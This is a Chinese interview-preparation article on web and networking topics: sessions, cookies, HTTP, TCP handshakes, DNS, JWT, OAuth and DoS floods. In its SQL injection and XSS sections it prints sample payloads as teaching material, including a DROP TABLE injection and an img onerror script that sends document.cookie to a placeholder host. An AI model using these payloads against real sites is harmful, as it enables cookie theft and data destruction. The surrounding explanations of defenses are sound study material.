面试准备：计算机网络常见面试题

1. jsp 和 servlet 有什么区别？*

JSP是为了简化Servlet的工作出现的替代品，JSP侧重于视图，Servlet更侧重于控制逻辑。

• Servlet在Java代码中使用doGet(),doPost()中做相应的处理，通过HttpServletResponse对象动态输出HTML内容。
• JSP在静态HTML内容中嵌入Java代码，Java代码被动态执行后生成HTML内容。

本质上说，Tomcat访问任何的资源都是用了Servlet实现的！JSP也不例外！JSP本身就是一种Servlet，它 在第一次被访问的时候（先部署后编译） 会被编译为HttpJspPage类（该类是HttpServlet的一个子类）。

对于静态资源，Tomcat最后会交由一个叫做DefaultServlet的类来处理
对于Servlet ，Tomcat最后会交由一个叫做 InvokerServlet的类来处理
对于JSP，Tomcat最后会交由一个叫做JspServlet的类来处理

所以Tomcat又叫Servlet容器嘛，什么都交给Servlet来处理。
参考：Java架构直通车——DispatcherServlet详解

2.session 和 cookie 有什么区别？

1. 存储位置不同，服务器压力不同。
   cookie存储在客户端浏览器上，session存储在服务器上（sso session一般会存在redis上）。cookie不占用服务器资源，而对于并发高的项目，会产生十分多的session，耗费大量的内存。
2. 有效期不同。
   开发可以通过设置cookie的maxAge属性，达到使cookie长期有效的效果。
   session依赖于名为JSESSIONID的cookie，而cookie JSESSIONID的过期时间默认为-1，只需关闭窗口该session就会失效，因而session不能达到长期有效的效果。
3. 存储容量和方式不同。
   单个cookie保存的数据<=4KB，一个站点最多保存20个Cookie。
   对于session来说并没有上限，但出于对服务器端的性能考虑，session内不要存放过多的东西，并且设置session删除机制。
4. 隐私策略不同
   cookie对客户端是可见的，可以通过分析存放在本地的cookie或者拦截来进行cookie欺骗，所以它是不安全的。
   session存储在服务器上，对客户端是透明对，不存在敏感信息泄漏的风险。

3.如果客户端禁止 cookie 能实现 session 还能用吗？*

一般默认情况下，在会话中，服务器存储 session 的 sessionid 是通过 cookie 存到浏览器里。
如果浏览器禁用了 cookie，浏览器请求服务器无法携带 sessionid，服务器无法识别请求中的用户身份，session失效。
request.getSession()方法中在创建session的时候，同时也创建了一个cookie：new Cookie("JSESSIONID",session.getId())。

但是，可以通过其他方法在禁用 cookie 的情况下，可以继续使用session。

• 通过url重写，把 sessionid 作为参数追加的原 url 中，后续的浏览器与服务器交互中携带 sessionid 参数。

4.什么是SQL注入？如何避免 ？

sql注入是通过将SQL代码注入到查询参数中，从而破坏SQL语句的结构，并且之后传递到sql服务器解析并执行的一种攻击手法。

比如：
select * from carousel where id = <?>，问号中是要传入的值。
当要传入的值是1的时候：select * from carousel where id = 1，没什么问题。

当传入如下：select * from carousel where id = -1 OR 1=1，把数据库的结果全部都显示出来了。此时执行代码中id值带入了我们传参数的sql代码， 1=1 为真，OR 1=1便会查出表中所有的内容，达到攻击目的。

我们只需要知道数据库中的某一个用户的用户名，比如peter,在表单输入时，在用户名列输入 “peter’#”,密码随意输入，点击登陆后便会显示登陆成功，输出的sql语句为：


另外常用的SQL注入钥匙如链接所示。

所以，防止注入的方式有：

• 严格检查输入变量的类型和格式：比如使用正则表达式
• 过滤和转义特殊字符
• 使用PreparedStatement 预编译机制。
• 不能使用管理员身份连接数据库。

mybatis中的#和$的区别：
1、#将传入的数据都当成一个字符串，会对自动传入的数据加一个双引号。
如：where username=#{username}，如果传入的值是111,那么解析成sql时的值为where username=“111”, 如果传入的值是id，则解析成的sql为where username=“id”.　
2、$将传入的数据直接显示生成在sql中。
如：where username=${username}，如果传入的值是111,那么解析成sql时的值为where username=111；
如果传入的值是;drop table user;，则解析成的sql为：select id, username, password, role from user where username=;drop table user;
3、#方式能够很大程度防止sql注入，$方式无法防止Sql注入。

5.什么是XSS攻击？如何避免？

XSS 攻击，即跨站脚本攻击（Cross Site Scripting），它是 web 程序中常见的漏洞。

原理：攻击者往 web 页面里插入恶意的 HTML 代码（Javascript、css、html 标签等），当用户浏览该页面时，嵌入其中的 HTML 代码会被执行，从而达到恶意攻击用户的目的。如盗取用户 cookie 执行一系列操作，破坏页面结构、重定向到其他网站等(DOM型XSS)。 又比如在用户输入的地方插入一段代码，导致后端服务器或者数据库被攻击（存储型、反射型XSS）。

比如：（还有其他类型的XSS攻击，参考XSS攻击🔗，下面是DOM类型的XSS）

<img src='xxx.xxx' 
	onerror='javascript:window.open("http://aaa.xxx?param="+document.cookie)' />

又比如，在有输入表单的地方输入下面的代码：

'><script>alert(document.cookie)</script>

XSS攻击存在的根本原因是对用户提交给Web Server端的内容没有进行充分的过滤，所以避免XSS攻击的方式有：

• 前端对 html 标签属性、css 属性赋值的地方进行校验。
• web 页面中可由用户输入的地方，如果对输入的数据转义、过滤处理。
• 后台输出页面的时候，也需要对输出内容进行转义、过滤处理（因为攻击者可能通过其他方式把恶意脚本写入数据库）。
• 后台在返回cookie的时候，可以在reponse头部加上set-cookie httponly，那么通过js脚本将无法读取到cookie信息，这样能有效的防止XSS攻击。

补充：Web安全之如何防止cookie被窃取？

6.什么是 CSRF 攻击？如何避免？

跨站请求伪造（Cross-site request forgery），攻击者在用户已经登录目标网站之后，诱使用户访问一个攻击页面，利用目标网站对用户的信任，以用户身份在攻击页面对目标网站发起伪造用户操作的请求，达到攻击目的。这利用了web中用户身份验证的一个漏洞：简单的身份验证只能保证请求发自某个用户的浏览器，却不能保证请求本身是用户自愿发出的。

CSRF与XSS最大的区别就在于，CSRF并没有盗取cookie而是直接利用。

攻击过程

• 假设abc用户登录银行的网站进行操作, 同时也访问了攻击者预先设置好的网站.
• abc点击了攻击者网站的某一个链接,这个链接是http://www.bank.com/xxxx指向银行,银行服务器会根据这个链接携带的参数会进行转账操作.
• 银行服务器在执行转账操作之前会进行SESSION验证是否登录, 但是由于abc已经登录了银行网站,攻击者的链接也是www.bank.com.所以攻击的链接就会携带session id到银行服务器.
• 由于session id是正确的,所以银行会判断操作是由本人发起的,执行转账操作.

---

CSRF的防范措施:

1. 验证 HTTP Referer 字段
   HTTP头中的Referer字段记录了该 HTTP 请求的来源地址。

2. 验证码
   利用验证码将用户收到的信息与后台服务器进行比对，每次用户提交都需要用户在表单中填写一个图片上的随机字符串，不符则进行拒绝。

3. 添加csrf-token验证
   token用法：用户访问某个表单页面。服务端生成一个Token，放在用户的Session中和表单域(或者local storage)中，提交的时候验证是否一致。
   参考：CSRF Token

4. 尽量使用POST，限制GET
   GET接口能够直接将请求地址暴露给攻击者，所以要防止CSRF一定最好不要用GET。当然POST并不是万无一失，攻击者只需要构造一个form表单就可以，但需要在第三方页面做，这样就增加了暴露的可能性。

7. 限流算法有哪些？

• 计数器

规定我们单位时间处理的请求数量，超过请求量的请求就拒绝掉（集群限流可以使用Redis）。只要过了一个周期就讲counter回归成0。
弊端：如果我在单位时间1s内的前10ms，已经通过了100个请求，那后面的990ms，只能眼巴巴的把请求拒绝，我们把这种现象称为“突刺现象”。

• 漏桶

为了消除"突刺现象"，可以采用漏桶算法实现限流，漏桶算法这个名字就很形象，算法内部有一个容器，类似生活用到的漏斗，当请求进来时，相当于水倒入漏斗，然后从下端小口慢慢匀速的流出。不管上面流量多大，下面流出的速度始终保持不变。

弊端：因为处理的速度是固定的，请求进来的速度是未知的，可能突然进来很多请求，没来得及处理的请求就先放在桶里，既然是个桶，肯定是有容量上限，如果桶满了，那么新进来的请求就丢弃。

• 令牌桶(推荐)

从某种意义上讲，令牌桶算法是对漏桶算法的一种改进，桶算法能够限制请求调用的速率，而令牌桶算法能够在限制调用的平均速率的同时还允许一定程度的突发调用。

在令牌桶算法中，存在一个桶，用来存放固定数量的令牌。算法中存在一种机制，以一定的速率往桶中放令牌。每次请求调用需要先获取令牌，只有拿到令牌，才有机会继续执行，否则选择选择等待可用的令牌、或者直接拒绝。

只有桶中没有令牌时，请求才会进行等待，最后相当于以一定的速率执行。

优点：相比漏桶算法，令牌桶算法允许一定的突发流量，但是又不会让突发流量超过我们给定的限制（单位时间窗口内的令牌数）。即限制了我们所说的 QPS(每秒查询率)。

令牌桶和漏桶区别在于：
令牌桶允许一定程度的突发，而漏桶具备平滑的流出速率；

8.http 响应码有哪些？

HTTP响应类型一共分五大类:消息响应（1xx）,成功响应,重定向,客户端错误,服务器端错误。

状态码	原因短语	代表含义
200	OK	请求成功
201	Created	请求被创建完成，同时新的资源被创建
202	Accepted	供处理的请求被接受，但是处理未完成
400	BadRequest	因为语法错误，服务器未能理解请求
401	Unauthorized	合法请求，但被请求的页面需要身份验证，客户端没有提供或者身份验证失败
403	Forbidden	合法请求，但对被请求页面的访问被禁止
404	Not Found	服务器无法找到被请求的页面
500	Internal Server Error	请求未完成。服务器遇到不可预知的情况
501	Not Implemented	请求未完成。服务器不支持所请求的功能，或者服务器无法完成请求
502	Bad Gateway	网关错误
503	Service Unavailable	服务器当前不可用（过载或者当机）

9.说明 forward 和redirect的区别？*

转发是服务器行为，重定向是客户端行为。

• redirect 重定向是直接返回一个重定向的url，客户端再次发起请求。它本质上是两次HTTP请求，对应两个request对象。

//Servlet中处理get请求的方法
public void doGet(HttpServletRequest request,HttpServletResponse response){	
//请求重定向到另外的资源
    response.sendRedirect("重定向的URL");
}

• forward客户端浏览器只发出一次请求，服务器转发请求，由第二个信息资源处理这个请求。

//Servlet里处理get请求的方法
public void doGet(HttpServletRequest request , HttpServletResponse response){
   //获取请求转发器对象，该转发器的指向通过getRequestDisPatcher()的参数设置
   RequestDispatcher requestDispatcher =request.getRequestDispatcher("转发的URL");
   //调用forward()方法，转发请求      
   requestDispatcher.forward(request,response);    
}

10.简述 tcp 和 udp的区别？

一、TCP：

TCP是面向连接的通讯协议，通过三次握手建立连接，通讯完成时四次挥手。在传送数据之前必须先建立连接，数据传送结束后要释放连接。

优点：TCP在数据传输过程中，有保证数据可靠传输的机制，较为可靠。

缺点：TCP相对于UDP传输速度慢，要求系统资源较多。不提供广播、多播。

二、UDP

UDP是面向无连接的通讯协议，UDP数据包括目的端口号和源端口号信息。UDP 在传送数据之前不需要先建立连接，远地主机在收到 UDP 报文后，不需要给出任何确认。

优点：UDP速度快、操作简单、要求系统资源较少，由于通讯不需要连接，可以实现广播发送。

缺点：没有保证数据可靠传输的机制。

11.tcp 为什么要三次握手，两次不行吗？为什么？

1. 为了实现可靠数据传输， TCP 协议的通信双方， 都必须维护一个序列号， 以标识发送出去的数据包中， 哪些是已经被对方收到的。 三次握手的过程即是通信双方相互告知序列号起始值， 并确认对方已经收到了序列号起始值的必经步骤。
   如果只是两次握手， 至多只有连接发起方的起始序列号能被确认， 另一方选择的序列号则得不到确认。

TCP 协议的通信双方， 都必须维护一个「序列号」， 序列号是可靠传输的一个关键因素，它的作用:
接收方可以去除重复的数据;
接收方可以根据数据包的序列号按序接收;
可以标识发送出去的数据包中， 哪些是已经被对方收到的;

2. 同时，三次握手的副产物：能够保障通信的畅通。在三次握手之后，A和B都能确定这么一件事： 我说的话，你能听到； 你说的话，我也能听到。 这样，就可以开始正常通信了。如果只有两次握手，只能保障被连接方能够知道通信的畅通，而发起方不知道。
3. 避免网络中的旧数据包引起的资源浪费：网络拥塞情况下，客户端发起请求后未收到确认重发请求，若只有两次握手服务器会重复建立连接，占用服务器资源。通过第3次握手，客户端可以根据ACK的编号判断是否合理，不合理则拒绝。

12.为什么连接的时候是三次握手，关闭的时候却是四次挥手？（或者为什么是四次而不是三次？）

因为当Server端收到Client端的SYN连接请求报文后，可以直接发送SYN+ACK报文。其中ACK报文是用来应答的，SYN报文是用来同步的。但是关闭连接时，当Server端收到FIN报文时，很可能并不会立即关闭SOCKET，所以只能先回复一个ACK报文，告诉Client端，“你发的FIN报文我收到了”。只有等到我Server端所有的报文都发送完了，我才能发送FIN报文，因此不能一起发送。故需要四步握手。

13.OSI七层模型？TCP/IP四层模型？

OSI七层模型	功能	数据格式	对应的网络协议	TCP/IP四层概念模型
应用层	提供为应用软件而设的接口，以设置与另一应用软件之间的通信	数据ATPU	DNS、HTTP、FTP、IMAP4、POP3、SSH、TELNET…	应用层
表达层	把数据转换为能与接收者的系统格式兼容并适合传输的格式	数据PTPU		应用层
会话层	负责在数据传输中设置和维护计算机网络中两台计算机之间的通信连接	数据DTPU		应用层
传输层	把传输表头（TH）加至数据以形成数据包。传输表头包含了所使用的协议等发送信息	数据组织成数据段Segment	TCP、UDP、PPTP、TLS/SSL…	传输层
网络层	决定数据的路径选择和转寄，将网络表头（NH）加至数据包，以形成分组。网络表头包含了网络数据	分割和重新组合数据包Packet	IP（v4·v6）、ICMP（v6）、IGMP、Ipsec…	网络层
数据链路层	负责网络寻址、错误侦测和改错。当表头和表尾被加至数据包时，会形成帧。数据链表头（DLH）是包含了物理地址和错误侦测及改错的方法。数据链表尾（DLT）是一串指示数据包末端的字符串	将比特信息封装成数据帧Frame	Wi-Fi（IEEE 802.11）、ARP、WiMAX（IEEE 802.16）、PPP、PPPoE、L2TP…	数据链路层
物理层	在局部局域网上传送数据帧（data frame），它负责管理计算机通信设备和网络媒体之间的互通。包括了针脚、电压、线缆规范、集线器、中继器、网卡、主机接口卡等	传输比特（bit）流		数据链路层

网桥：工作在数据链路层，在不同或相同类型的LAN之间存储并转发数据帧，必要时进行链路层上的协议转换。可连接两个或多个网络，在其中传送信息包。

交换机：工作在数据链路层，原理等同于多端口网桥。作用是连接数个相同网段的不同主机，减少网内冲突，隔离冲突域。利用存储转发和过滤技术来从物理上分割网段。

路由器：工作在网络层，在不同的网络间存储并转发分组。可在异种网络之间（即不同类型的局域网互连，局域网与广域网，广域网与广域网）传输数据并进行路径选择，使用专门的软件协议从逻辑上对整个网络进行划分。

网关：对高层协议（包括传输层及更高层次）进行转换的网间连接器。允许使用不兼容的协议，比如SPX/IPX和TCP/IP的系统和网络互连。因为协议转换是网关最重要的功能，所以答案是工作在传输层及以上层次。

网卡：在物理层上网卡主要是完成物理接口的连接,电信号的传送以及将数据分解为适当大小的数据包之后向网络上发送的功能. 数据链路层功能包括链路建立和拆除，帧定界同步顺序差错控制这些。大多认为主要工作在物理层。

14.get 和 post 请求有哪些区别？

• 语义：（语义上只是推荐做法，并不是强制要求的）
  GET是请求一个资源，并且反复请求不会有副作用，是满足幂等性的。
  POST是发送一个资源，这件事往往是有副作用的，不幂等的。（当然只是一个建议，post可以做成幂等性的，防止前端发生错误，比如两次点击重复发送。）

• 是否缓存以及回退操作：
  GET因为是读取，就可以对GET请求的数据做缓存。这个缓存可以做到浏览器本身上，（彻底避免浏览器发请求），也可以做到代理上（如nginx），或者做到server端（用Etag，至少可以减少带宽消耗）。在浏览器进行回退操作时，get请求是无害的，可以从缓存里拿到数据。
  POST请求最好不做缓存，如果POST请求被浏览器缓存了，那么请求就不会发送到后端了。在浏览器进行回退操作时，会提醒是否要重新请求一次。

• 请求参数位置和安全性：
  GET请求参数是连接在url后面的，url是可见的，可能会泄漏隐私数据。
  POST请求是放在request body内的，因为HTTP本身是明文协议，所以不管是URL、Header还是body都是不安全的。如果采用HTTPS还是可以做一个加密的。

• 请求方式：
  使用HTTP时大家会有一个约定，即所有的“控制类”信息应该放在请求头header中，具体的数据放在请求体body里。基于这一点，POST请求可以有优化，在发送比较大的data的时候，会先将header发送给服务器，服务器返回100，之后再将data发送给服务器，服务器返回200 OK。如果请求被拒了，服务器就回复个400之类的错误，这个交互就终止了。这样，就可以避免浪费带宽传请求体。当然，如果data比较小，比如几kb，就没有必要发送两次。

15.什么是跨域？如何实现跨域？*

什么是跨域？
浏览器限制非同源（同源：协议+域名+端口均相同）的请求

其实我们通常所说的跨域是狭义的，是由浏览器同源策略限制的一类请求场景。
什么是同源策略？
同源策略/SOP（Same origin policy）是一种约定，由Netscape公司1995年引入浏览器，它是浏览器最核心也最基本的安全功能，如果缺少了同源策略，浏览器很容易受到XSS、CSFR等攻击。所谓同源是指"协议+域名+端口"三者相同，即便两个不同的域名指向同一个ip地址，也非同源。
参考

如何实现跨域？

1. Spring使用@CrossOrigin注解 使用@CrossOrigin注解
2. 在后端WebMvcConfigurer里添加跨域支持，“Access-Control-Allow-Origin”。
3. 通过Nginx做反向代理。

参考：https://www.cnblogs.com/wangxi01/p/11590185.html

16.什么是Http无状态协议?怎么解决Http无状态协议?

HTTP无状态协议，是指协议对于事务处理没有记忆能力。缺少状态意味着如果后续处理需要前面的信息，则它必须重传，这样可能导致每次连接传送的数据量增大。另一方面，在服务器不需要先前信息时它的应答就较快。

如何解决？可以使用Cookie或者session来保存会话状态。

17.Http协议中有哪些请求方式?*

GET： 用于请求访问已经被URI（统一资源标识符）识别的资源，可以通过URL传参给服务器
POST：用于传输信息给服务器，主要功能与GET方法类似，但一般推荐使用POST方式。
PUT： 传输文件，报文主体中包含文件内容，保存到对应URI位置。
HEAD： 获得报文首部，与GET方法类似，只是不返回报文主体，一般用于验证URI是否有效。
DELETE：删除文件，与PUT方法相反，删除对应URI位置的文件。
OPTIONS：查询相应URI支持的HTTP方法。
PATCH：做更新。

18.Http请求的流程？

1. 域名解析
2. 发起TCP三次握手，建立连接
3. 发起HTTP请求
4. 服务器响应HTTP请求
5. 解析HTML代码，并且请求HTML中带有的资源（比如css，js，图片等）
6. 浏览器对页面进行渲染，展示给用户

19.域名解析过程？

1. 浏览器先检查自身缓存中有没有被解析过的这个域名对应的ip地址，如果有，解析结束。同时域名被缓存的时间也可通过TTL属性来设置。
2. 如果浏览器没有命中，会检查操作系统缓存和本地host文件中有没有对应的解析结果。
3. 之后才会请求本地域名服务器（LDNS）来解析这个域名，如果还没有命中，会向根域名服务器发起请求，根域名（Root Server）返回来的是一个所查询域（根的子域，例如.com）的主域名服务器（gTLD Server）的地址，gTLD是国际顶级域名服务器，如.com，.cn、.org等。听说全球只有13台左右。
4. 然后本地域名服务器请求的gTLD服务器查找并返回此域名对应的Name Server域名服务器的地址，这个Name Server通常就是你注册的域名服务器，例如你在某个域名服务提供商申请的域名，那么这个域名解析任务就由这个域名提供商的服务器来完成。
5. 得到了Name Server 服务器地址之后，Local DNS 再次向Name server 服务器发送请求，Name Server提供商是你申请的域名提供商，因此Name Server域名服务器会查询存储的域名和IP的映射关系表，正常情况下都根据域名得到目标IP记录。
6. Local DNS 得到了域名对应的ip地址与TTL值（Time to live）之后，会根据这TTL值缓存这个域名与ip的对应关系。
7. 最终把该ip地址返回给浏览器。

20.Http与Https区别?

1. 端口 ：HTTP的URL由“http://”起始且默认使用端口80，而HTTPS的URL由“https://”起始且默认使用端口443。
2. 安全性： HTTP协议运行在TCP之上，所有传输的内容都是明文，客户端和服务器端都无法验证对方的身份。HTTPS是安全的http协议，一般是加上了SSL协议，需要申请证书，所有传输的内容都经过加密，双方身份都能被认证，能保证传输内容的完整性。

每个证书持有人都有一对公钥和私钥，这两把密钥可以互为加解密。
公钥是公开的，不需要保密，而私钥是由证书持有人自己特有，并且必须妥善保管和注意保密。数字证书则是由证书认证机构（CA）对证书申请者真实身份验证之后，用CA的根证书对申请人的一些基本信息以及申请人的公钥进行签名（相当于加盖发证书机构的公章）后形成的一个数字文件。

HTTPS设计目标：数据保密性、完整性、安全性
(1) 数据保密性：保证数据内容在传输的过程中不会被第三方查看。就像快递员传递包裹一样，都进行了封装，别人无法获知里面装了什么 。
(2) 数据完整性：及时发现被第三方篡改的传输内容。就像快递员虽然不知道包裹里装了什么东西，但他有可能中途掉包，数据完整性就是指如果被掉包，我们能轻松发现并拒收 。
(3) 身份校验安全性：保证数据到达用户期望的目的地。就像我们邮寄包裹时，虽然是一个封装好的未掉包的包裹，但必须确定这个包裹不会送错地方，通过身份校验来确保送对了地方 。
原文链接

3.资源消耗：https协议多次握手，导致页面的加载时间延长近50%；https连接缓存不如http高效，会增加数据开销和功耗；SSL涉及到的安全算法会消耗cpu资源，对服务器资源消耗较大
4. SEO：比起同等http网站，采用https加密的网站在搜索结果中的排名会更高。

21.TCP 协议如何保证可靠传输？*

1. 编号：TCP 给发送的每一个包进行编号，确保不会漏传或者收到重复数据，并且保证数据包的有序性。
2. 校验和： TCP 将保持它首部和数据的检验和。如果收到段的检验和有差错，TCP 将丢弃这个报文段和不确认收到此报文段。
3. 发送方降低发送的速率，防止包丢失：
   滑动窗口协议：TCP 连接的每一方都有固定大小的缓冲空间，TCP的接收端只允许发送端发送接收端缓冲区能接纳的数据。当接收方来不及处理发送方的数据，能提示发送方降低发送的速率，防止包丢失（滑动窗口能够让协议栈同时发送多个报文段，这样可以提高网络通信的效率）。
   拥塞控制： 当网络拥塞时，减少数据的发送。
4. ARQ协议： 自动重传请求（Automatic Repeat-reQuest，ARQ）也是为了实现可靠传输的，它的基本原理就是每发完一个分组就停止发送，等待对方确认。在收到确认后再发下一个分组。
5. 定时器超时重传： 当 TCP 发出一个段后，它启动一个定时器，等待目的端确认收到这个报文段。如果不能及时收到一个确认，将重发这个报文段。

TCP的拥塞控制采用了四种算法，即 慢开始 、 拥塞避免 、快重传 和 快恢复。在网络层也可以使路由器采用适当的分组丢弃策略（如主动队列管理 AQM），以减少网络拥塞的发生。

• 慢开始： 慢开始算法的思路是当主机开始发送数据时，如果立即把大量数据字节注入到网络，那么可能会引起网络阻塞，因为现在还不知道网络的符合情况。经验表明，较好的方法是先探测一下，即由小到大逐渐增大发送窗口，也就是由小到大逐渐增大拥塞窗口数值。cwnd初始值为1，每经过一个传播轮次，cwnd加倍。
• 拥塞避免： 拥塞避免算法的思路是让拥塞窗口cwnd缓慢增大，即每经过一个往返时间RTT就把发送放的cwnd加1.
• 快重传与快恢复： 在 TCP/IP 中，快速重传和恢复（fast retransmit and recovery，FRR）是一种拥塞控制算法，它能快速恢复丢失的数据包。没有 FRR，如果数据包丢失了，TCP 将会使用定时器来要求传输暂停。在暂停的这段时间内，没有新的或复制的数据包被发送。有了 FRR，如果接收机接收到一个不按顺序的数据段，它会立即给发送机发送一个重复确认。如果发送机接收到三个重复确认，它会假定确认件指出的数据段丢失了，并立即重传这些丢失的数据段。有了 FRR，就不会因为重传时要求的暂停被耽误。 　当有单独的数据包丢失时，快速重传和恢复（FRR）能最有效地工作。当有多个数据信息包在某一段很短的时间内丢失时，它则不能很有效地工作。

22.HTTP长连接,短连接？

在HTTP/1.0中默认使用短连接。也就是说，客户端和服务器每进行一次HTTP操作，就建立一次连接，任务结束就中断连接。

而从HTTP/1.1起，默认使用长连接，用以保持连接特性。使用长连接的HTTP协议，会在响应头加入这行代码：Connection:keep-alive，也就是通过心跳来维持这个连接。

HTTP协议的长连接和短连接，实质上是TCP协议的长连接和短连接。

长连接可以省去较多的TCP建立和关闭的操作，减少浪费，节约时间。随着客户端连接越来越多，server会保持过多连接。这时候server端需要采取一些策略，如关闭一些长时间没有请求发生的连接，这样可以避免一些恶意连接导致server端服务受损。

23.HTTP 1.0和HTTP 1.1的主要区别是什么?Http1.1和Http2.0的主要区别是什么？

性能提升：例如
HTTP1.0 & HTTP1.1：

• 长连接
• 断点续传

HTTP1.1 & HTTP2.0：

• 多路复用（二进制分帧携带所属的流标识符）
• 服务端推送（css，js等资源，避免重复请求）
• Header压缩和Cache （减少header大小）
  参考：HTTP详解，HTTP1.0、HTTP1.1 和 HTTP2.0 的区别

24. URI和URL的区别是什么?

URI(Uniform Resource Identifier) 是统一资源标志符，可以唯一标识一个资源。
URL(Uniform Resource Location) 是统一资源定位符，可以提供该资源的路径。它是一种具体的 URI，即 URL 可以用来标识一个资源，而且还指明了如何 locate 这个资源。
URI的作用像身份证号一样，URL的作用更像家庭住址一样。URL是一种具体的URI，它不仅唯一标识资源，而且还提供了定位该资源的信息。

25. 什么是JWT？*

JWT （JSON Web Token），本质上就一段签名的 JSON 格式的数据。由于它是带有签名的，因此接收者便可以验证它的真实性。
JWT 由 3 部分构成:

• Header :描述 JWT 的元数据。定义了生成签名的算法以及 Token 的类型。
• Payload（负载）:用来存放实际需要传递的数据
• Signature（签名）：服务器通过Payload、Header和一个密钥(secret)使用 Header 里面指定的签名算法（默认是 HMAC SHA256）生成。

		// header Map
        Map<String, Object> map = new HashMap<>();
        map.put("alg", "HS256");
        map.put("typ", "JWT");
		
		String token = JWT.create().withHeader(map) // header
                .withClaim("permission",permission)//payload
                .sign(Algorithm.HMAC256(SECRET)); // signature

26. 什么是OAuth 2.0？*

OAuth 2.0实际上就是一种授权机制，它的最终目的是为第三方应用颁发一个有时效性的令牌 token，使得第三方应用能够通过该令牌获取相关的资源。

OAuth 是一个行业的标准授权协议，主要用来授权第三方应用获取有限的权限。而 OAuth 2.0是对 OAuth 1.0 的完全重新设计，OAuth 2.0更快，更容易实现，OAuth 1.0 已经被废弃。

OAuth 2.0 比较常用的场景就是第三方登录，当你的网站接入了第三方登录的时候一般就是使用的 OAuth 2.0 协议。另外，现在OAuth 2.0也常见于支付场景（微信支付、支付宝支付）和开发平台（微信开放平台、阿里开放平台等等）。
更多应用场景详情，参考:OAuth 示例教程

sso和oath2.0 都是使用了token。但是，他们在应用场景上的区别在于，使用sso的各个系统（子模块）之间是互相信任的，通常是一个厂家的产品，或者是一个产品的不同模块系统。使用oauth2.0的各个应用之间是互相不信任的，通常是不同厂家之间的账号共享。

27. 单点登陆SSO如何实现？*

参考文章：Java架构直通车——Redis+Cookie实现单点登录SSO

28. RPC原理是什么？既有 HTTP ,为啥用 RPC 进行服务调用?*

参考：Java架构直通车——Dubbo总结

29. HTTP的Keep-Alive和TCP的Keep-Alive有什么区别？

简单总结来说：
http keep-alive与tcp keep-alive，意图不一样。http keep-alive是为了让tcp活得更久一点，以便在同一个连接上传送多个http，提高socket的效率。而tcp keep-alive是TCP的一种检测TCP连接状况的保鲜机制。

---

在http早期，每个http请求都要求打开一个tcp socket连接，并且使用一次之后就断开这个tcp连接。
使用keep-alive可以改善这种状态，即在一次TCP连接中可以持续发送多份数据而不会断开连接。通过使用keep-alive机制，可以减少tcp连接建立次数，也意味着可以减少TIME_WAIT状态连接，以此提高性能和提高httpd服务器的吞吐率(更少的tcp连接意味着更少的系统内核调用,socket的accept()和close()调用)。

但是，keep-alive并不是免费的午餐,长时间的tcp连接容易导致系统资源无效占用。配置不当的keep-alive，有时比重复利用连接带来的损失还更大。所以，正确地设置keep-alive timeout时间非常重要。
keepalvie timeout
Httpd守护进程，一般都提供了keep-alive timeout时间设置参数。比如nginx的keepalive_timeout，和Apache的KeepAliveTimeout。这个keepalive_timout时间值意味着：一个http产生的tcp连接在传送完最后一个响应后，还需要hold住keepalive_timeout秒后，才开始关闭这个连接。
当httpd守护进程发送完一个响应后，理应马上主动关闭相应的tcp连接，设置 keepalive_timeout后，httpd守护进程会想说：”再等等吧，看看浏览器还有没有请求过来”，这一等，便是keepalive_timeout时间。如果守护进程在这个等待的时间里，一直没有收到浏览发过来http请求，则关闭这个http连接。

---

连接建立之后，如果应用程序或者上层协议一直不发送数据，或者隔很长时间才发送一次数据，当连接很久没有数据报文传输时如何去确定对方还在线，到底是掉线了还是确实没有数据传输，链接还需不需要保持，这种情况在TCP协议设计中是需要考虑到的。
TCP协议通过一种巧妙的方式去解决这个问题，当超过一段时间之后，TCP自动发送一个数据为空的报文给对方，如果对方回应了这个报文，说明对方还在线，连接可以继续保持，如果对方没有报文返回，并且重试了多次之后则认为连接丢失，没有必要保持连接。

30. 理解Thrift和Protobuf*

参考：
Golang架构直通车——理解Thrift
Golang架构直通车——理解Protobuf

31. 什么是SYN Flood攻击和ACK Flood攻击？*

SYN Flood攻击是一种典型的DoS（Denial of Service）攻击，是一种利用TCP协议缺陷，发送大量伪造的TCP连接请求，从而使被攻击方资源耗尽（CPU满负荷或内存不足）的攻击方式。该攻击将使服务器TCP连接资源耗尽，停止响应正常的TCP连接请求。

一个正常的TCP连接：

SYN Flood：

最常用的一个手段就是优化主机系统设置。比如降低SYN timeout时间，使得主机尽快释放半连接的占用或者采用SYN cookie设置，如果短时间内收到了某个IP的重复SYN请求，我们就认为受到了攻击。合理的采用防火墙设置等外部网络也可以进行拦截。

syn cookie技术是服务器在收到syn包时并不马上分配储存连接的数据区，而是根据这个syn包计算出一个cookie，把这个cookie填入tcp的Sequence Number字段发送syn+ack包，等对方回应ack包时检查回复的Acknowledgment Number字段的合法性，如果合法再分配专门的数据区。最致命的缺点就是开启syn cookie后会使服务器对与ack攻击的抵抗力大大降低，他虽然保护了内存空间的过度分配但是也使得cpu的计算资源被消耗（需要计算哈希值），所以说syn cookie虽然能抵御syn攻击但是却容易受到ack攻击。

---

ACK Flood攻击是指攻击者通过僵尸网络向目标服务器发送大量的ACK报文，报文带有超大载荷引起链路拥塞，或者是极高速率的变源变端口的请求导致转发的设备异常从而引起网络瘫痪，或者是消耗服务器处理性能，从而使被攻击服务器拒绝正常服务。

抗D设备基于目的地址对ack报文速率进行统计，当ack报文速率超过阈值启动源认证防御。

32. 拥塞控制算法？

拥塞控制主要有四个算法：

1. 慢启动

2. 拥塞避免

3. 拥塞发生时，快速重传

4. 快速恢复

前提知识：
自动重传请求（Automatic Repeat-reQuest，ARQ）是OSI模型中数据链路层的错误纠正协议之一。它通过使用确认和超时这两个机制，在不可靠服务的基础上实现可靠的信息传输。如果发送方在发送后一段时间之内没有收到确认帧，它通常会重新发送。

---

• 慢启动

慢启动算法的原因：主机开发发送数据报时，如果立即将大量的数据注入到网络中，对于一些处理能力不佳的中间路由器，很可能会导致存储被耗尽的状况，从而严重降低了TCP连接的吞吐量，不断的重传。

慢启动算法就是在主机刚开始发送数据报的时候先探测一下网络的状况，如果网络状况良好，发送方每发送一次文段都能正确的接受确认报文段。那么就指数的增加拥塞窗口的大小（即发送窗口大小）。

例子：开始发送方先设置cwnd（拥塞窗口）=1,发送第一个报文段M1，接收方接收到M1后，发送方接收到接收方的确认后，把cwnd增加到2，接着发送方发送M2、M3，发送方接收到接收方发送的确认后cwnd增加到4，慢启动算法每经过一个传输轮次（认为发送方都成功接收接收方的确认），拥塞窗口cwnd就加倍。

当cwnd >= ssthresh时，就会进入“拥塞避免算法”。

---

• 拥塞避免算法

